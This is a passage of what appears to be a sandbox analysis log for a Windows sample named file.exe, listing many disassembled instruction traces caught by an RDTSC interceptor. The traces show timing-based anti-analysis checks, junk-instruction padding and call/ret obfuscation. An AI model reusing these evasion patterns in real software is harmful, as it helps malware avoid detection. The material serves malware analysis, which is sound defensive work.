[esp+0000022Ch] 0x0000004c mov dword ptr [esp+000001FCh], 00CFC390h 0x00000057 mov dword ptr [esp+000001F8h], 000000B6h 0x00000062 mov dword ptr [esp], 00000000h 0x00000069 mov eax, dword ptr [00CF7D58h] 0x0000006e call eax 0x00000070 mov edi, edi 0x00000072 push eax 0x00000073 push edx 0x00000074 pushad 0x00000075 mov eax, edi 0x00000077 movsx edi, cx 0x0000007a popad 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80B19 second address: 4D80B4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9AEC795B4Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80B4C second address: 4D80B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80B50 second address: 4D80B56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80B56 second address: 4D80BC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007F9AED3FF38Eh 0x0000000c xor ah, 00000048h 0x0000000f jmp 00007F9AED3FF38Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 jmp 00007F9AED3FF396h 0x0000001e mov ebp, esp 0x00000020 jmp 00007F9AED3FF390h 0x00000025 cmp dword ptr [769B459Ch], 05h 0x0000002c jmp 00007F9AED3FF390h 0x00000031 je 00007F9B5EFCD1C8h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80BC9 second address: 4D80BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80BCD second address: 4D80BD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80BD1 second address: 4D80BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80BD7 second address: 4D80BDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80BDC second address: 4D80BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F9AEC795B50h 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e pushad 0x0000000f push edi 0x00000010 movzx eax, di 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 mov ah, 78h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80CA0 second address: 4D80CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80CA4 second address: 4D80CA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80CA8 second address: 4D80CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx esi, dx 0x00000009 popad 0x0000000a test al, al 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80CBA second address: 4D80CC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80CC0 second address: 4D80D3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF38Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F9B5EFC3038h 0x0000000f pushad 0x00000010 mov esi, 23008FCBh 0x00000015 pushfd 0x00000016 jmp 00007F9AED3FF390h 0x0000001b and ecx, 3E6EE6D8h 0x00000021 jmp 00007F9AED3FF38Bh 0x00000026 popfd 0x00000027 popad 0x00000028 cmp dword ptr [ebp+08h], 00002000h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F9AED3FF38Bh 0x00000038 or ecx, 0A6FD19Eh 0x0000003e jmp 00007F9AED3FF399h 0x00000043 popfd 0x00000044 movzx eax, bx 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80D3D second address: 4D80D5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AEC795B59h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90855 second address: 4D9090F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF391h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9AED3FF391h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F9AED3FF38Ch 0x00000017 xor ax, 3558h 0x0000001c jmp 00007F9AED3FF38Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F9AED3FF398h 0x00000028 adc esi, 222C3FB8h 0x0000002e jmp 00007F9AED3FF38Bh 0x00000033 popfd 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 pushad 0x00000038 call 00007F9AED3FF394h 0x0000003d call 00007F9AED3FF392h 0x00000042 pop eax 0x00000043 pop edx 0x00000044 mov cx, E7C7h 0x00000048 popad 0x00000049 xchg eax, esi 0x0000004a jmp 00007F9AED3FF38Ah 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 mov edx, ecx 0x00000055 mov ecx, 0D519FAFh 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9090F second address: 4D90923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AEC795B50h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90923 second address: 4D90927 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90927 second address: 4D9098C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F9AEC795B57h 0x0000000e mov esi, dword ptr [ebp+0Ch] 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F9AEC795B54h 0x00000018 or al, 00000068h 0x0000001b jmp 00007F9AEC795B4Bh 0x00000020 popfd 0x00000021 mov eax, 06C8B65Fh 0x00000026 popad 0x00000027 test esi, esi 0x00000029 pushad 0x0000002a mov cx, 1257h 0x0000002e mov ax, 7CF3h 0x00000032 popad 0x00000033 je 00007F9B5E35357Ch 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9098C second address: 4D909BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F9AED3FF391h 0x0000000a sub cx, E136h 0x0000000f jmp 00007F9AED3FF391h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D909BA second address: 4D909CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AEC795B4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D909CA second address: 4D90AB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF38Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [769B459Ch], 05h 0x00000012 pushad 0x00000013 push esi 0x00000014 pop ecx 0x00000015 pushfd 0x00000016 jmp 00007F9AED3FF397h 0x0000001b jmp 00007F9AED3FF393h 0x00000020 popfd 0x00000021 popad 0x00000022 je 00007F9B5EFD4E0Bh 0x00000028 jmp 00007F9AED3FF396h 0x0000002d xchg eax, esi 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F9AED3FF38Eh 0x00000035 add eax, 1D207778h 0x0000003b jmp 00007F9AED3FF38Bh 0x00000040 popfd 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007F9AED3FF396h 0x00000048 jmp 00007F9AED3FF395h 0x0000004d popfd 0x0000004e mov edi, ecx 0x00000050 popad 0x00000051 popad 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 pushfd 0x00000057 jmp 00007F9AED3FF396h 0x0000005c sbb ax, 4368h 0x00000061 jmp 00007F9AED3FF38Bh 0x00000066 popfd 0x00000067 push ecx 0x00000068 pop edx 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90B22 second address: 4D90B3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AEC795B58h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90B87 second address: 4D90BF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF399h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007F9AED3FF38Ch 0x00000010 pushfd 0x00000011 jmp 00007F9AED3FF392h 0x00000016 and si, 1668h 0x0000001b jmp 00007F9AED3FF38Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop ebp 0x00000023 pushad 0x00000024 jmp 00007F9AED3FF394h 0x00000029 push eax 0x0000002a push edx 0x0000002b mov eax, 20309D47h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AF706 second address: 60AF70C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AF70C second address: 60AF712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6095DE2 second address: 6095DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9AEC795B4Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AE6C5 second address: 60AE6C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AE6C9 second address: 60AE6E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AE6E9 second address: 60AE6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9AED3FF386h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AEFAC second address: 60AEFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1782 second address: 60B1787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B17B4 second address: 60B17BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B17BA second address: 60B1837 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9AED3FF393h 0x00000008 jmp 00007F9AED3FF38Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push ebx 0x00000011 push edx 0x00000012 jmp 00007F9AED3FF394h 0x00000017 pop edx 0x00000018 pop ebx 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F9AED3FF388h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 push 00000000h 0x00000036 mov ecx, dword ptr [ebp+122D3A4Eh] 0x0000003c call 00007F9AED3FF389h 0x00000041 push eax 0x00000042 push edx 0x00000043 push ecx 0x00000044 jmp 00007F9AED3FF399h 0x00000049 pop ecx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1837 second address: 60B1895 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jc 00007F9AEC795B46h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F9AEC795B57h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 jmp 00007F9AEC795B4Bh 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 jmp 00007F9AEC795B59h 0x00000028 mov eax, dword ptr [eax] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1895 second address: 60B194A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9AED3FF392h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jmp 00007F9AED3FF393h 0x00000013 pop eax 0x00000014 mov esi, dword ptr [ebp+122D373Ah] 0x0000001a push 00000003h 0x0000001c jns 00007F9AED3FF38Ch 0x00000022 push 00000000h 0x00000024 movzx edx, ax 0x00000027 push 00000003h 0x00000029 jmp 00007F9AED3FF392h 0x0000002e call 00007F9AED3FF389h 0x00000033 push ecx 0x00000034 jmp 00007F9AED3FF398h 0x00000039 pop ecx 0x0000003a push eax 0x0000003b jmp 00007F9AED3FF390h 0x00000040 mov eax, dword ptr [esp+04h] 0x00000044 push eax 0x00000045 jng 00007F9AED3FF388h 0x0000004b push ebx 0x0000004c pop ebx 0x0000004d pop eax 0x0000004e mov eax, dword ptr [eax] 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F9AED3FF392h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B194A second address: 60B1950 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1950 second address: 60B19BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9AED3FF396h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 jbe 00007F9AED3FF390h 0x00000017 pushad 0x00000018 push edi 0x00000019 pop edi 0x0000001a jg 00007F9AED3FF386h 0x00000020 popad 0x00000021 pop eax 0x00000022 push 00000000h 0x00000024 push ecx 0x00000025 call 00007F9AED3FF388h 0x0000002a pop ecx 0x0000002b mov dword ptr [esp+04h], ecx 0x0000002f add dword ptr [esp+04h], 0000001Ah 0x00000037 inc ecx 0x00000038 push ecx 0x00000039 ret 0x0000003a pop ecx 0x0000003b ret 0x0000003c mov ecx, eax 0x0000003e lea ebx, dword ptr [ebp+12457632h] 0x00000044 or dword ptr [ebp+122D28B6h], esi 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jc 00007F9AED3FF388h 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B19BE second address: 60B19C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1A64 second address: 60B1AE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 5937AF75h 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F9AED3FF388h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D38D6h] 0x0000002e push 00000003h 0x00000030 cmc 0x00000031 push 00000000h 0x00000033 pushad 0x00000034 mov eax, dword ptr [ebp+122D3726h] 0x0000003a mov edx, dword ptr [ebp+122D375Eh] 0x00000040 popad 0x00000041 push 00000003h 0x00000043 pushad 0x00000044 mov dword ptr [ebp+122D29CCh], ecx 0x0000004a sub ax, 7B91h 0x0000004f popad 0x00000050 call 00007F9AED3FF389h 0x00000055 jmp 00007F9AED3FF391h 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f jnc 00007F9AED3FF386h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1AE3 second address: 60B1AE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1AE9 second address: 60B1AEE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1AEE second address: 60B1B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push ecx 0x0000000d jne 00007F9AEC795B46h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007F9AEC795B46h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1B0A second address: 60B1B83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jns 00007F9AED3FF39Fh 0x0000000f push ebx 0x00000010 jmp 00007F9AED3FF397h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a pushad 0x0000001b jmp 00007F9AED3FF38Bh 0x00000020 jmp 00007F9AED3FF396h 0x00000025 popad 0x00000026 pop eax 0x00000027 or di, 6100h 0x0000002c lea ebx, dword ptr [ebp+1245763Bh] 0x00000032 xchg eax, ebx 0x00000033 je 00007F9AED3FF392h 0x00000039 jnc 00007F9AED3FF38Ch 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push ebx 0x00000043 jng 00007F9AED3FF386h 0x00000049 pop ebx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1BF8 second address: 60B1CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jbe 00007F9AEC795B50h 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F9AEC795B48h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b movsx edi, si 0x0000002e push 00000000h 0x00000030 and esi, dword ptr [ebp+122D37E2h] 0x00000036 push AA9DAA80h 0x0000003b jmp 00007F9AEC795B4Dh 0x00000040 add dword ptr [esp], 55625600h 0x00000047 call 00007F9AEC795B56h 0x0000004c xor esi, dword ptr [ebp+122D391Eh] 0x00000052 pop esi 0x00000053 push 00000003h 0x00000055 mov dl, ch 0x00000057 push 00000000h 0x00000059 mov dword ptr [ebp+122D29B7h], ecx 0x0000005f jng 00007F9AEC795B4Ch 0x00000065 push 00000003h 0x00000067 mov esi, edi 0x00000069 push 61823F11h 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 jg 00007F9AEC795B46h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1CA4 second address: 60B1CA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1CA8 second address: 60B1CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A36A4 second address: 60A36A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A36A8 second address: 60A36BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F9AEC795B46h 0x0000000e jp 00007F9AEC795B46h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0908 second address: 60D0925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jbe 00007F9AED3FF392h 0x0000000d jns 00007F9AED3FF386h 0x00000013 jo 00007F9AED3FF386h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0925 second address: 60D0929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0929 second address: 60D0933 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9AED3FF386h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0A7F second address: 60D0A95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F9AEC795B46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F9AEC795B46h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0A95 second address: 60D0A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0A99 second address: 60D0AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0C2F second address: 60D0C33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0C33 second address: 60D0C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AEC795B50h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F9AEC795B4Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0C53 second address: 60D0C78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF38Ch 0x00000007 jo 00007F9AED3FF39Bh 0x0000000d jmp 00007F9AED3FF38Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0F38 second address: 60D0F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F9AEC795B5Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F9AEC795B46h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0F4B second address: 60D0F4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D0F4F second address: 60D0F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D10B8 second address: 60D10CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AED3FF392h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D10CE second address: 60D10F3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F9AEC795B52h 0x0000000e pushad 0x0000000f popad 0x00000010 jns 00007F9AEC795B46h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D1265 second address: 60D126F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D126F second address: 60D1275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D1275 second address: 60D1279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D1279 second address: 60D12AC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F9AEC795B5Dh 0x0000000c push eax 0x0000000d jp 00007F9AEC795B46h 0x00000013 pop eax 0x00000014 jl 00007F9AEC795B4Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
